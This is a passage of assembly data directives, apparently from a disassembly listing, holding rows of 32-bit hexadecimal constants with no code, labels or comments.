dd 0A2AC862Ch, 3F31D2h, 0E5E626E8h, 2CEBFB72h, 169F6DE0h
dd 0B59080E5h, 1E2A4FF8h, 9152D5A7h, 0BECD975h, 641317F0h
dd 0B8927833h, 21A75062h, 0EDC91AFh, 0AAF18131h, 9475B928h
dd 8A5570F0h, 2C73EE10h, 0EAE14F26h
dd 0FEE89BFDh
dd 16955D81h, 6A458717h, 120F9046h, 5ADF2A71h, 0CC5703E2h
dd 7F7F49E2h, 0B49C102Ch, 3A4B65Ch, 1E3086AAh, 0D3E49B12h
dd 2AE30038h, 0A877A1C1h, 0EA07E1D8h, 0F9368FE5h, 9607BAAEh
dd 0FE49353Eh, 0FB72FB3Eh, 0E55BA32Ah, 5921551Eh, 0F3197D19h
dd 38F4A1F4h, 5541574Bh, 0A7D471AFh, 0E32DCB96h, 0DEB884DFh
dd 91150E9h, 35EEFF17h, 0F2360809h, 8DDC90CAh, 0CC5DA41Ch
dd 0E3883588h, 962523C1h, 0AE6B1CCEh, 0BB9B4DBEh, 0E4BE6516h
dd 0ABD68A9Fh, 0D42D57BFh, 0D9CA4B7Ah, 14CA5330h, 732DB959h
dd 0CA462D95h, 18ED2F42h, 0C8E830E3h, 11A4C770h, 0CAA8175Dh
dd 9169FB9Eh, 0EC5076C9h, 0B5374950h, 0E9071B89h, 0F0B76EB5h
dd 56F9147Eh, 0F24E1857h, 57120481h, 0A66490C9h, 89AB5231h
dd 0FD6C62CBh, 4F0F5D11h, 0D6BB58B8h, 7308B4F6h, 0D47A56AEh
dd 807E09CEh, 0E4ED2CB4h, 5649E519h, 0BEB8304Ah, 95C79122h
dd 68E078Eh, 969BF7A4h, 0C07F2BEBh, 4D2294B0h, 1FBDBB6Ah
dd 93C1F231h, 0C2A414A7h, 434C6CDAh, 9AE8BC06h, 61B58DB9h
dd 2B3FCC33h, 78E88FC1h, 0AEABB2D2h, 0B5510E8Ah, 97E59BC5h
dd 0D32B7D1Bh, 7705751Ah, 2F909EBCh, 0B145B5E5h, 0EC32E600h
dd 864639C0h, 0C780B3D2h, 0EC7F110Ch, 7945A242h, 0ABEEB6CDh
dd 0EC80A0D1h, 0F0576759h, 0B45B59EFh, 0A39724E8h, 0FAE97953h
dd 0BC2B6804h, 157526F4h, 0F74A4EB0h, 0B9DDABE1h, 8DCE2730h
dd 3C20E527h, 0CFF7E491h, 5B91CD3h, 853FED7h, 989B026Ch
dd 0EF8DBB2Ch, 0EF9494CEh, 0D97A10BEh, 8F671E77h, 83D6342h
dd 0AD6DA62Ch, 5F5FEDCCh, 47D899B4h, 7ED29805h, 66AC7AE6h
dd 0C034B483h, 7BB9144Ah, 3AE11573h, 27888178h, 0C651980Dh
dd 0F1AEAC59h, 9A34956Ch, 0CF7C34C9h, 5CCD3062h, 7A61BE9Ch
dd 0ED46C65Fh, 8A3AA2DDh, 4152D86Ch, 102441CFh, 9E6318D8h
dd 0F73C204Fh, 0C41CE523h, 88BFB173h, 391A264Eh, 74F3A25Dh
dd 16FAB3B3h, 0C84B86CCh, 7B046EF6h, 63780BD3h, 0EF2CABF7h
dd 62DAED9Ah, 69206537h, 0F7B1D4E9h, 8E6115E4h, 6D8F254Ah
dd 647CEF33h, 0C0287A12h, 9D414E6Ch, 0A2E3720Fh, 9A7F567Eh
dd 0D1FF1284h, 466D1F41h, 3BEE73B3h, 0EA287657h, 83382392h
dd 0C69F7CF4h, 380AC439h, 69A3EB19h, 737C0533h, 96410A5Dh
dd 159AD3BCh, 0E3760968h, 289A9F7Eh, 65FB1FD5h, 5E760A21h
dd 720F0CAEh, 32EB7D4Ch, 95C4690Fh, 244540Ah, 9647E860h
dd 31E7529Bh, 333F1A63h, 0DBCCEF83h, 23111A83h, 6E583039h
dd 8D9B4FCBh, 16FBA445h, 43DD1CC7h, 0D3761677h, 2E1E1089h
dd 0C10655D2h, 0CD886FB7h, 0DE62FB80h, 80DBDD8Fh, 6C920ACAh
dd 774653EDh, 46DF96DBh, 0DD651A3Ah, 0CB6B6CACh, 720C4499h
dd 22375CE7h, 6AD5EB4Dh, 0A72B8D93h, 0FAD0232Dh, 5643ECD8h
dd 0C9FE6D70h, 0DB5622EFh, 85147B6h, 0FD9E2B4Dh, 0E9AE7ADBh
dd 0D1689B88h, 0EF8015BEh, 66771DF8h, 0C1A15D08h, 14324864h
dd 6E679DDh, 9E4A1EFh, 0CBECDAF8h, 0CB7EAFC6h, 44857F18h
dd 79A2867Ch, 22AABED3h, 2977263Ah, 80351A26h, 0EA8DA9FCh
dd 0EC487DA0h, 28F6F0D2h, 7D5D9E2Bh, 73FC6D67h, 430C2F2Bh
dd 64F69C96h, 2D2DF5A8h, 4D301A9Dh, 0ECA8793Bh, 0A400894Fh
dd 8FA55820h, 330D30D9h, 0E0DD1E7Ah, 6680E362h, 0A97240D5h
dd 15E7C10Eh, 0CD57D663h, 29540617h, 0AB863A74h, 580F953Ah
dd 86AA96B8h, 56F3CA97h, 580AFFEFh, 9950C4B9h, 7B376465h
dd 3B7A576Ch, 6E89504Dh, 3D781DE4h, 0A3A540E6h, 2B048E44h
dd 0EF9A3A30h, 0CE677BF0h, 0C28D3291h, 8F8474BBh, 65728FEAh
dd 9927096Eh, 855A577Dh, 360A6B51h, 0A9F0AB78h, 0E0C840B0h
dd 7197B6Fh, 0B5448195h, 0DF24D77Bh, 1489139Dh, 0D4DC1A4Bh
dd 9E96AC02h, 0F2E537Eh, 91EE95Fh, 0E8F3BFE8h, 65B991ABh
dd 5F3E608Bh, 899773C2h, 820ECAF1h, 0B4D17E9Fh, 0AABB7E2Bh
dd 60228FDAh, 3D1FBC0Fh, 556CB840h, 9722E480h, 17F0334Dh
dd 0FA7BBC45h, 8A4E030Dh, 5061AFE1h, 0A11B088Bh, 0E68C107Ah
dd 0AA6D3302h, 66AC81C9h, 34FB72C3h, 37844A65h, 93C163A2h
dd 0AF66C015h, 0B893038Ah, 9A6F7A4Fh, 97CAC973h, 0FF1CBDE8h
dd 0DA55DE2Eh, 527EC951h, 0C3C05A2Fh, 7704C21Ah, 0A77B4EEDh
dd 0C36E32EDh, 646AB61Fh, 0B0D4F9B8h, 7F234521h, 0CC608EA8h
dd 414B64DEh, 7492217Bh, 4373053h, 0D79E94AEh, 8D8300Dh
dd 9CE7FED7h, 8E2D66D0h, 0A6F62751h, 78562786h, 9EE0AFC3h
dd 620CB16Bh, 6872418Fh, 0BA6E9F65h, 512BF601h, 0F4790FB6h
dd 88A75630h, 23E9E5BFh, 70DE49Dh, 834C2B05h, 0ABB09E55h
dd 869B4348h, 363DBE9Ah, 0DE3E76A1h, 0FBBC1F63h, 927DF358h
dd 0F0F34AB6h, 0A2B91D5Dh, 49222C11h, 82F3AE18h, 328CAB44h
dd 40C2AB08h, 5947E318h, 0C037ED53h, 95DEF7F9h, 3AC88CE3h
dd 9CD52EECh, 7B7E49AAh, 977DE66Dh, 352CF731h, 2E6B8638h
dd 58EAC6C3h, 0F73686C7h, 0F6A292D0h, 0A620C8C2h, 1EDC8E28h
dd 451C33D9h, 3C8BA6DAh, 0C8FD2EFFh, 1488559Ah, 0D3D2535Dh
dd 0B60D9829h, 6B07CC0h, 7B9519FBh, 4FAB438h, 0AC439CE7h
dd 0FBD1C5D9h, 0A45FF4B8h, 0E8719927h, 0D3A2BD36h, 16D21ACCh
dd 452E0C7Bh, 0FDF65CD7h, 0D479E6EAh, 0EC415D59h, 47A6A73Ah
dd 0CFEE06B3h, 0CA22FD6Ah, 4A66E43Ah, 7E2555B8h, 5E6C8C04h
dd 0D7E9BF2Ch, 3E65C7Bh, 0F9467C18h, 152B4C44h, 0C45E639Fh
dd 8B9C49CEh, 313C86DEh, 1917164Ah, 7C1FB7F0h, 0B63E24CAh
dd 5B3D236Bh, 0C2CA0055h, 0E7BE1941h, 59485681h, 70381841h
dd 0A70686CFh, 6739FDEAh, 0E529A318h, 0F7859F12h, 916C611h
dd 48CD17D2h, 0BF9F4BC2h, 5B5E7AA2h, 8AE50998h, 0F7692011h
dd 0C5104D51h, 0CBCD9284h, 4F0D5272h, 31E66E26h, 0A6E45A80h
dd 841C16DEh, 5158A30h, 0B8E9D859h, 0C3855EFEh, 98DA4C67h
dd 0E4F93935h, 63C898F5h, 22897AFCh, 6A9ACB38h, 3E60183h
dd 60D19218h, 6FBF9C8Dh, 53895A22h, 79A9061Dh, 9D401731h
dd 0A3CD8005h, 0B9E632D6h, 61F0B83Ch, 0CF6791F2h, 0BE8273F5h
dd 0A4706144h, 0EC71D029h, 0FB67E4B9h, 0DC65AE59h, 5D4E0868h
dd 20FF15B0h, 0ED24D78Fh, 66DDABE5h, 0CA1C9A34h, 8381E26Fh
dd 315A8D76h, 89CFE136h, 65C1C017h, 0E0DFDC43h, 29145F0Fh
dd 2F3E058Fh, 0B98E3F20h, 76FC586Bh, 7D87065Dh, 43120582h
dd 92D5DEF8h, 69B7AD20h, 24D31B27h, 9D514150h, 0AC8EB81Dh
dd 3E50793Ah, 47E44579h, 0D33C5CB0h, 78734C86h, 2EA8BC06h
dd 2073BFF0h, 7F95F2BFh, 36B23D8Eh, 8CCEA24Bh, 0A0BC0BA9h
dd 40A1A2Dh, 344F7B49h, 27521D3Fh, 60CDF3C0h, 0A0733829h
dd 0F0E1153Bh, 3E85EE1h, 0BE25B041h, 6E6C897Bh, 516A0119h
dd 0F06AEAEDh, 929873C7h, 0CA4DCB25h, 46BA74F2h, 40F1DAD2h
dd 117C132Fh, 9E70BE8Ch, 304431EAh, 4CE4A36h, 96B2D5FEh
dd 61130EE2h, 73EE141Eh, 0FEC9C496h, 2AC28D6Ah, 26A76568h
dd 86EA0E45h, 0BF0ECDD3h, 9B497D6Bh, 0D38B396Fh, 0F69B7E12h
dd 5B73DE4Eh, 914DDC12h, 0D3D2C5CCh, 4DA5EF0Bh, 3BDBEA0Bh
dd 78675815h, 0E52E86C0h, 54EF9F1Ah, 0ECD2E6EDh, 10E2DABEh
dd 39A95F3Ch, 68AA6B84h, 0D9D57232h, 0E5A5B23h, 0FE1D4D82h
dd 48BE6BCDh, 65642C5Dh, 36BAA0F9h, 0E906763Ch, 1541C2E9h
dd 31B7DFDBh, 0E918DE99h, 12583FC4h, 1665A38Fh, 45531C52h
dd 99BA79BEh, 95D97CEBh
dd 5B468A42h, 0A9F8CE46h, 0E1D23124h, 0CF84FF39h, 4DB416C0h
dd 8130BB34h, 0CF6658E5h, 0ED8C3FF5h, 0F7337459h, 0BCA2ACCCh
dd 61AA7449h, 1C8D58BFh, 174C516Fh, 0F4AF927Bh, 0BEADC078h
dd 9FC42079h, 95914A35h, 0F21C52A2h, 5028D30Ch, 0F9461BDBh
dd 42C66DADh, 6DCFA51Dh, 1369C2B5h, 75DA0A2h, 607F01E5h
dd 9C36E121h, 4DA0712Ah, 17117F71h, 4BEF06BDh, 8DEEE76h
dd 6F58A1A2h, 0B7713891h, 5FBBDAE6h, 0BA08EBABh, 0A0AC0A0Eh
dd 616AEB57h, 9D5BCAB0h, 0D87B4369h, 12334845h, 0F0C95898h
dd 0BC73178Dh, 0DDC7ACC9h, 0BEA95A56h, 948FCC76h, 0AFE6BE6Dh
dd 43AAA4Fh, 91FFB630h, 73B100D4h, 8141676Ah, 81DD179Ah
dd 4364C577h, 95E13D49h, 512D5BFh, 87863E14h, 9593C69h
dd 6D438B4Eh, 0FA8BA1CFh, 91D91579h, 18880490h, 5CDA7DD2h
dd 9674BCDEh, 5534B7CFh, 9AC93A14h, 3416C199h, 0E19DF95Dh
dd 0EEE37A98h, 98DE5E02h, 0B26AD7F7h, 0B5F8A6F8h, 0B1DB2CBCh
dd 707C48B4h, 0A4C59703h, 837D2928h, 8CE2A6FDh, 2C3CB069h
dd 5B85265Ch, 20BCB229h, 53ED1C7Eh, 0BDECDA10h, 522EF9ECh
dd 67FA8425h, 502AC4F4h, 786306C4h, 0D58EB09Dh, 92188746h
dd 0B635656Eh, 0CC3E853Eh, 22B4E6C5h, 270934D0h, 0B7609B62h
dd 3799ED82h, 0A265A916h, 7FA7D2E4h, 0FC4DD043h, 0E7320F2Bh
dd 0C6C52353h, 0FA9A0EF6h, 0D4A17916h, 4AF8B56Bh, 14FE6CA2h
dd 0FACD7122h, 2271016Fh, 0A035B3AFh, 0C125EF1Fh, 6E4BEA2Bh
dd 8A176AE4h, 658C9AF2h, 13CC564h, 7A6A9A57h, 6CE7BC8Fh
dd 0CE9A8B9Eh, 0C1AF372Ah, 0E97AF69h, 0C60B6326h, 0D5D42062h
dd 0E4F4BF25h, 3034E5DAh, 0C1E133DFh, 669EEA99h, 5F086CB9h
dd 0C6DC2E75h, 419DD0B1h, 3C43C1AAh, 0E2C48058h, 8E40BBB3h
dd 0CFBA3B1Ch, 0DF6B7BA9h, 672A9083h, 98C93CE0h, 0EAAB8301h
dd 85D6AFE9h, 23BE016Ah, 0CD8945F5h, 65325A6Dh, 46FB1D77h
dd 163A3DABh, 0B0AF14ABh, 0E677ED7Dh, 8F82B588h, 0B377D971h
dd 8A59B953h, 6383D96Fh, 0DCC1C3B8h, 0CC735558h, 0D12D158Fh
dd 7F0A98h, 255D4D5Ah, 8F038CBEh, 94F78281h, 7DE4E092h
dd 8EE89FE1h, 0B037ED35h, 6C3DD2BEh, 248833F3h, 5B1D1FE1h
dd 1C7500BAh, 0A75DCD32h, 0D7529DC0h, 9B2FEDB8h, 9BC5EE1Fh
dd 8EFCDF8Ch, 545DE528h, 2E6A3E8Eh, 72EA1D18h, 0FDAFCB76h
dd 0B54E6F0Eh, 71066BC2h, 250772D7h, 0D77F865Ah, 8B1BEA7Eh
dd 33F5807Ah, 81A37D36h, 6B2A9B3Fh, 0E19C1B5Ch, 0D430F26Ch
dd 5FF4D2D2h, 0D5AF3C31h, 625AE3C1h, 0D497934Dh, 0ADF1CD53h
dd 46129796h, 534AA5CAh, 26239E58h, 19179BDCh, 5231E78Dh
dd 0BA89BC1Eh, 0FDD4F2ECh, 290CACACh, 1D4E96BAh, 37A333EFh
dd 0E70BD658h, 76A09264h, 1F424AD5h, 0C40B8491h, 2B2B022Bh
dd 0AE884F35h, 0E9E551A1h, 7DFC3AF6h, 4A039FD3h, 817950D1h
dd 0F7B2704Eh, 0DE614AE2h, 0C655592Fh, 69BCBEFh, 0EFE1D73Bh
dd 0C3D7B881h, 103D03A5h, 95A859B5h, 4AE6C4B0h, 0EC01324Eh
dd 5CE8E75Bh, 0CAF18317h, 3CFA4C32h, 3290899h, 6597754Ah
dd 353E9C4Fh, 0A758F079h, 1102DF3Eh, 532BADC9h, 0E3D076Fh
dd 0FEFD822Bh, 0FABBB106h, 0F96C269Ah, 57BAA405h, 0D148D88Dh
dd 6500D62Ch, 6C3E9A3Ch, 99BF555Ah, 0AC9669A5h, 7F4B3FCAh
dd 69B1752Ah, 82567B89h, 88F8B891h, 0F0D9C40Ah, 0B9E36A04h
dd 731972FAh, 0FC2BD526h, 0B4C29454h, 39D3CE0Ch, 0C193EBEDh
dd 54713E2Ah, 3623A98Ah, 0FB054311h, 25FE5137h, 0C0D98724h
dd 2EB2EE5h, 0F82D6CFFh, 0EDFF2F47h, 3C175BCFh, 0CDE9BDCh
dd 4897067Bh, 231A3733h, 0A18FFDF7h, 0D2651975h, 0FE01A923h
dd 62EC1942h, 91A9F17Ch, 1F77BA59h, 7ABC76C2h, 48874BA0h
dd 0E64E2E29h, 82A6F941h, 2DCC7440h, 0C052B4FFh, 30A566AAh
dd 1AE281DEh, 6A83EB95h, 2A2F0442h, 68AE221Ch, 0C8DF03F7h
dd 0D9CD3B5Bh, 0AB51C693h, 7CC4FD1Eh, 81B324CAh, 0BDFB9D96h
dd 1D1CC5DBh, 94B580F0h, 0B4DBA40h, 5BC2520Fh, 3CF0514Eh
dd 29623C1h, 7AE4A860h, 9B0AAC53h, 0A13C3B04h, 0F63014BAh
dd 0C3E5A024h, 985CB2E3h, 0A204F633h, 0D8E1B90Ch, 14782DF8h
dd 0DF271F84h, 5200C44Ah, 0B0BCD600h, 87CAA219h, 0CFF205E6h
dd 0BD3F5D3Dh, 0A67A2A4Dh, 697E6EFh, 2FB79D95h, 0F3C5A980h
dd 3DC3A088h, 6AC7761Fh, 8659ED0Eh, 0FE719781h, 0A9A0927Eh
dd 0F98174E2h, 0CB4FE54Ah, 0C21BA103h, 9B023595h, 8BCFBAE8h
dd 0EEC3212Ch, 0BF8C368Ah, 0CC6EB39Ah, 1863E581h, 47ED062Fh
dd 0FC36741Ch, 44A3951Bh, 2687E0ADh, 0E00978FEh, 8B0E4995h
dd 1A2A6DE0h, 98D61E1Fh, 0CFFFC0FBh, 131B2ECCh, 178DD0ECh
dd 0CFCA84D0h, 4C78017Bh, 1FF0B468h, 0AC03FC99h, 8695BF34h
dd 0D432E149h, 0E8C90351h, 5983065Bh, 0D8FE1423h, 0A78DE59h
dd 1508A516h, 0EAFFBFFBh, 0F77A241Ch, 974275A0h, 4AC02F81h
dd 63432FA8h, 0CA60E86Bh, 44A2FED5h, 0B2D026C2h, 41FBDC41h
dd 7E0260E4h, 0C1D6A918h, 90AE488h, 80D99703h, 745DC595h
dd 8FDD1B05h, 0BFB990B5h, 0C9375D0Eh, 0C696C59Dh, 0F2511AD1h
dd 0D1106FDCh, 917C290Ah, 1931DD4h, 4D9BD239h, 0B42FAC62h
dd 6F943485h, 4BED48B8h, 4CC64B11h, 29B3FC44h, 8F6036EEh
dd 9C6BEB68h, 6E1C612Ah, 0F9D7F403h, 7B3CBC11h, 45826DAFh
dd 4040BCDEh, 52C1FEFBh, 3861CF8h, 0BEC4BA59h, 0BA027BC7h
dd 6928F379h, 2345DDD2h, 1FCB6E6Dh, 193A507Dh, 634EB6C5h
dd 672276DDh, 36CCDEF7h, 0A521EA64h, 0D34581ECh, 0E13A128Dh
dd 882DCAD3h, 69D32218h, 0DBFC7335h, 0F3B2D92Eh, 0F481BA5Ah
dd 67874F62h, 9ED99927h, 82861D5Ch, 0B5490E68h, 0B0C4FDDCh
dd 3846BF3Dh, 76667E96h, 0C2F1F766h, 7FCF0391h, 0C8C2B8B0h
dd 92BEF8D0h, 2A424C23h, 0DD648181h, 0F656EE7Fh, 4646A12Eh
dd 1AC64D36h, 3D72607Eh, 0DC5CD96Ch, 84B37419h, 0C04C88EEh
dd 0E4C8E2CAh, 0EC000AE0h, 999420CAh, 8134B5C1h, 7460293Dh
dd 0DB120183h, 81039B49h, 11757942h, 3BDE62C0h, 4DE96565h
dd 1C52F917h, 0C266477h, 27611093h, 0D74BDF19h, 5993A6FEh
dd 0BF027A9Fh, 0EFFF37A6h, 4A63F674h, 29BFACD6h, 0A5B90678h
dd 0A447CE1Ch, 485A5C55h, 683C2BD2h, 7C193620h, 25159FCEh
dd 7510BBACh, 33ABC680h, 0BC9B965Bh, 41C7B368h, 0FF778505h
dd 79F51471h, 943E45A7h, 0D6D7A8FCh, 0B8B0241Ah, 432EC4D7h
dd 0E67269D1h, 0BBC5B19Bh, 0F9B2EE81h, 5B66A7E3h, 674625D1h
dd 0BF584E58h, 75A5852Eh, 0F7D53EA2h, 0C67D69D7h, 0D4AFB667h
dd 0E74C4171h, 0F67D50AAh, 0D494A947h, 97C61D60h, 2405F781h
dd 2C28DDBBh, 0F1ED1835h, 2B7DBDDCh, 0D48CAA2Eh, 0B811CFDDh
dd 0DC263C51h, 47E5DEE5h, 72749513h, 0F30600E9h, 0FD9D9B3Ch
dd 0B2DDA320h, 84DC56C4h, 0C6820CEAh, 0EE347898h, 1C733BB2h
dd 86BA4B23h, 0C7DDC75Eh, 74ABB988h, 83B0D0E5h, 41EA8EF6h
dd 3F8F8358h, 7FE9040h, 1151A42Ah, 0F9910637h, 98D29555h
dd 0C7E3EDB8h, 1AFEE132h, 18B73C31h, 549D19AFh, 0E8362148h
dd 2EEA8864h, 24E30B48h, 13CE7CBh, 0DB0AC227h, 1CF83BB1h
dd 0ED8CA04Ch, 0C9F97C6Dh, 9F08D49h, 5FAF225Dh, 2DE31856h
dd 829955DDh, 88008DD6h, 9A3882A0h, 2DB4E77Fh, 0F87E12C6h
dd 0DCD332C9h, 685BE6A9h, 742CD92h, 5B3EDEEBh, 7F00A51Fh
dd 1DEBC2A4h, 0E837829Dh
dd 0D49E92DCh, 0A06E03DCh, 68A34E30h, 0E9EDA415h, 3AEA0909h
dd 8A0242CAh, 8D732D51h, 0AF102ED0h, 5C690204h, 8E1BC488h
dd 0F2521AB0h, 0C953432Fh, 0DAABD659h, 25EF9DCBh, 0C8F46F91h
dd 26DCBED7h, 0C1C9751Ch, 0D99F3148h, 0FB93C9B4h, 0E7B50ABh
dd 0F249E742h, 98CE0558h, 25783C2Ch, 0E21FF892h, 0D0616C28h
dd 0BEC783Eh, 70D9CD1h, 0F6A16E41h, 0A1A6369Eh, 78A38BF8h
dd 408C691Bh, 9736A69Bh, 87EB2D63h, 4B4A3D23h, 0FF964025h
dd 7E60D479h, 1B06252Fh, 57B6CD3Eh, 0C9723F40h, 0FF48C6B4h
dd 0C02588F2h, 77654B2Ch, 0A76332h, 0CA25D517h, 0EDE59EF0h
dd 0ACA5D66Ch, 0DABFB0Ch, 74F06549h, 8D388408h, 1777DE55h
dd 0C0AF59C0h, 0FCA9E8A7h, 4BB6BDBAh, 695AA5B6h, 98C27238h
dd 915C1218h, 5CC00E75h, 9CCA4048h, 0C57A951Dh, 71B8B4D5h
dd 0D2A1900Eh, 69FFA3D4h, 0AEF385C5h, 0C2302A12h, 0F9A93B00h
dd 0BA659812h, 4D0885h, 2D47C9B1h, 0A74312AAh, 0E925C256h
dd 64F6044Ch, 4913D739h, 0FA448D90h, 0B31D109Fh, 0BEE3F6F5h
dd 0AD547F78h, 0E1AD90ADh, 0D1405A41h, 8EA5EED9h, 9C1C1787h
dd 5E1F877Ah, 18CD588h, 9027AE94h, 0F65A8B5Fh, 3A85AA4h
dd 0C6C144A1h, 0BFCCAC0Dh, 217516EAh, 0F6E63960h, 89BCCB0Bh
dd 0ECA086D4h, 3BECA0A0h, 94403C5Ah, 2CCCAAD8h, 7BFA6F7Bh
dd 8CB90B5h, 9C88F05Eh, 1DAE2E7h, 34F715FDh, 971700BDh
dd 44B09534h, 7C3EC255h, 0B7B781B3h, 0F0A2EB10h, 8D281DAFh
dd 6F4A6E72h, 3E6034CAh, 0BB386E5Dh, 0C3A8F0F7h, 5E9C40CDh
dd 97BB4A94h, 32D0025Eh, 0C3385B44h, 8D3F0496h, 42B5C37Eh
dd 0FB9ED20Ah, 7593D1D9h, 746AEE76h, 1BEECB42h, 19FDC4DEh
dd 66E1E92Eh, 0D5CAC318h, 0F283E9D8h, 21C00517h, 0B499C198h
dd 13DF1659h, 6240B086h, 0BA29C2E6h, 9999C83Fh, 0CCC2C23Eh
dd 15371BB9h, 13CFD0B3h, 6DF0D83Bh, 41D104E3h, 4B39120h
dd 79D119A8h, 0B1857634h, 652B735Fh, 0F28B2D2Dh, 46466618h
dd 8BFFC4F4h, 0A81C285Bh, 0EBEEC53Fh, 3B410F09h, 3C7946B3h
dd 0C686F265h, 28D26800h, 6FD3426Bh, 370F6925h, 88FADA5Ch
dd 73747DC1h, 7B9045E4h, 0F7AB00F4h, 6789F1ABh, 2EA2B6D8h
dd 0EC02534Dh, 0DBE9CE64h, 46EB12C3h, 0BFBDA7C1h, 95E943C3h
dd 0FD455181h, 0EC4FF603h, 0DBBD32F6h, 80255E50h, 0C747E021h
dd 0EE4FB9E9h, 0FC702407h, 0FB5629FEh, 77DF0B40h, 0F4FDAB8Bh
dd 0A746BBF2h, 403224CFh, 3A135370h, 43B9BE2Bh, 0D5F378A4h
dd 0D9E95CBDh, 7937972Dh, 0EE0BE5C3h, 2BBE64ACh, 46830E53h
dd 0AFA2D553h, 1FA6A73Ch, 96AFB5E5h, 742A67F0h, 0F7934ABCh
dd 0AF344CF6h, 905A794Eh, 1001FECh, 54EEEB43h, 0F4CA26F8h
dd 1F933E99h, 37AD30D9h, 0F121E1FDh, 0E2BD30EBh, 0C07FCAACh
dd 7D7A8E70h, 15C57BC2h, 4570B0B9h, 47500088h, 0F3F1B75h
dd 0D8453EA7h, 346CEFF7h, 1C3E6215h, 0CE68CDAAh, 19D818F4h
dd 0D099BF82h, 198C40A7h, 0BA00AA81h, 92FFBBA9h, 0F6E02F3h
dd 77928871h, 85D7186Ah, 6A145F14h, 315C9AAAh, 3DA2F3F6h
dd 0E3EC7065h, 0C8E5F112h, 0CA390592h, 0C1421DE8h, 4688F205h
dd 5ECEC221h, 0E2C2DB13h, 0F21E46CCh, 0E12C106Fh, 2058620Dh
dd 248E4C7Eh, 3EA6240Fh, 648DC973h, 6D528FF7h, 82667C38h
dd 0DC0507A0h, 22140755h, 0FC822F02h, 1D1F8EB4h, 75A329C2h
dd 4188DFBBh, 35ABE715h, 16836ADAh, 222AABAAh, 7748E8EBh
dd 5418F9A3h, 0F64EEE6Eh, 49B6C297h, 8D723E38h, 0A01CB330h
dd 0A0146CB2h, 4EDFF59Ah, 0C7391900h, 1047E55Bh, 0F60D7CF2h
dd 4556F6E0h, 9FDE249Ch, 90FA08DDh, 36DD7449h, 9E4C91DEh
dd 9597D323h, 203EECF0h, 9844EB67h, 55A0B383h, 0CB443ADBh
dd 96FC87ACh, 1571EE8Fh, 0CB1C28F2h, 9CF32D2Eh, 1F90D4C9h
dd 569517Eh, 380D9C87h, 0F295A0F7h, 72E5CEF0h, 0BC41A0B5h
dd 97B6F547h, 3BDA989Bh, 0EB8C3FA2h, 7FFC5518h, 85C6F32Bh
dd 6C0B1A7Ah, 79304F1Dh, 3328E6C9h, 0F881A45Ch, 659CD897h
dd 328899F7h, 4B9C2F4h, 367352F0h, 0E1DE7B2Dh, 9BB8B3F8h
dd 0EE2E142Eh, 3D13EC01h, 86B285E9h, 0AAD95A4h, 5766D566h
dd 70E253FFh, 46E47A38h, 9DB1EF98h, 5305D022h, 36F120FBh
dd 85375223h, 5F9D6863h, 9237BB17h, 5602F9BEh, 34A0B51Ah
dd 0F171D4A6h, 2CD0F9ABh, 0EBC460B2h, 76786CAAh, 1DC21EAFh
dd 0FDA29A66h, 0CF565C68h, 4B932784h, 13207884h, 0B6C47E37h
dd 729707C5h, 7E040B15h, 1A09767Ah, 9A43C6DEh, 7DF4B0C7h
dd 0D8594039h, 0C8C2D323h, 0ABF2D81h, 61BB47Fh, 0FDCE388Ch
dd 1B690622h, 4B9392DEh, 0C5312C5Dh, 0C7B9479Dh, 16842441h
dd 45F1D171h, 352F15EEh, 2F6E901Eh, 509A255Ch, 9DECF041h
dd 95EA2F78h, 0CF1DA65h, 299653E2h, 137E41EBh, 0E681A267h
dd 0BBD509B6h, 0D5F1B950h, 0D7CEFB6Fh, 0E80078D9h, 6C7761D0h
dd 8AA5AFE7h, 799CD665h, 0E10E041Ch, 4B01B6FFh, 5704731Eh
dd 0DC9D9C3h, 0EE993A79h, 1EBE9CE7h, 7436FB2h, 7CBEBB66h
dd 0B45AF9DEh, 8D1EB217h, 0AC471DCFh, 0CBFA2E4Dh, 83D7D68h
dd 0BC00F0B6h, 378543A6h, 650C13E7h, 0DA3E6845h, 2B4B35BEh
dd 0AE60AAAEh, 41379D45h, 7ED04007h, 10BC3E22h, 5BD21C47h
dd 0E2E320FFh, 5A1060ABh, 0F0D21D4Eh, 0DD66EB02h, 2AB04256h
dd 4CCE3D92h, 4A54BE8Ch, 5F0D2F7Eh, 0B06A3BC9h, 4D52963Ch
dd 40DF4037h, 0CDEADBBEh, 92FE93D4h, 29123A10h, 5E78E06Dh
dd 3B1D14A8h, 6B5C02EFh, 0BEAFF908h, 0D7DE1C3Fh, 71291058h
dd 91553A8Ah, 0AD5CA37Ch, 0D68597ACh, 53ED7F78h, 320D90CCh
dd 89EB0617h, 8ED61231h, 6DD3A5B2h, 7CF34FCDh, 601BE798h
dd 111054D1h, 15D0B1FFh, 594AA024h, 0CC24012Ah, 0C0C7116Fh
dd 711D83B1h, 0D175CAA3h, 0D5D1F30Dh, 17FB66BFh, 3C3A819Ah
dd 0B3A3652Eh, 0D7A61C47h, 0ADAB7DCCh, 0F92DDD4h, 1C3BA39Bh
dd 1E8183FAh, 3CA75AC0h, 78D4D26Bh, 8BAD0163h, 20CF4AA1h
dd 506C63D0h, 3318D262h, 5C8D3180h, 45C1651Fh, 0CD00CDA2h
dd 0A98E5C09h, 571114C6h, 89811BA2h, 0EBD1AC4Dh, 8FDEF633h
dd 3B934D4Ch, 39FB4092h, 0B1CE8F9Ah, 7A107DC7h, 0FC2ECBD6h
dd 6BE4A36Ch, 0BBFFA6BCh, 8D69C11Ch, 388C939Dh, 0CE78A562h
dd 0C655AECFh, 0A5E9BA5Dh, 1D2B07AEh, 7577F072h, 5FD935C1h
dd 0A2FF4DCFh, 0B5531E87h, 0C8B6B6E0h, 9F248FCBh, 0A7C89481h
dd 6A5EF3D7h, 0AF7A071Ch, 3FE22FA8h, 16ECFA31h, 57C918A4h
dd 0A94E4AA3h, 43F61BBAh, 2FD66FC4h, 0C2BD9DE0h, 0DB95AD24h
dd 5055541Bh, 0A2880965h, 63A5736Dh, 75FE3503h, 7AED4E16h
dd 62B6D514h, 0ACFEB85Fh, 3B73E582h, 297FCF5h, 75483BCFh
dd 1157EAE2h, 38012976h, 65D88EEh, 31E7A7E6h, 6F4D1E39h
dd 7879B5CBh, 1A309F32h, 9188AEF7h, 6E7B3DF6h, 63D8CBCAh
dd 69D47972h, 8C9F05B8h, 0B3676881h, 0D9D124E7h, 0F24439D8h
dd 0A2C7C400h, 41664508h, 0D6C75C7Ah, 154BDE7Eh, 3E44208Eh
dd 2AC3ACFCh, 38E97176h, 14FD74D5h, 10A97785h, 32A47A9Bh
dd 0A0141C08h, 98999AB0h, 90244793h, 0B96B8C5Fh, 508B3086h
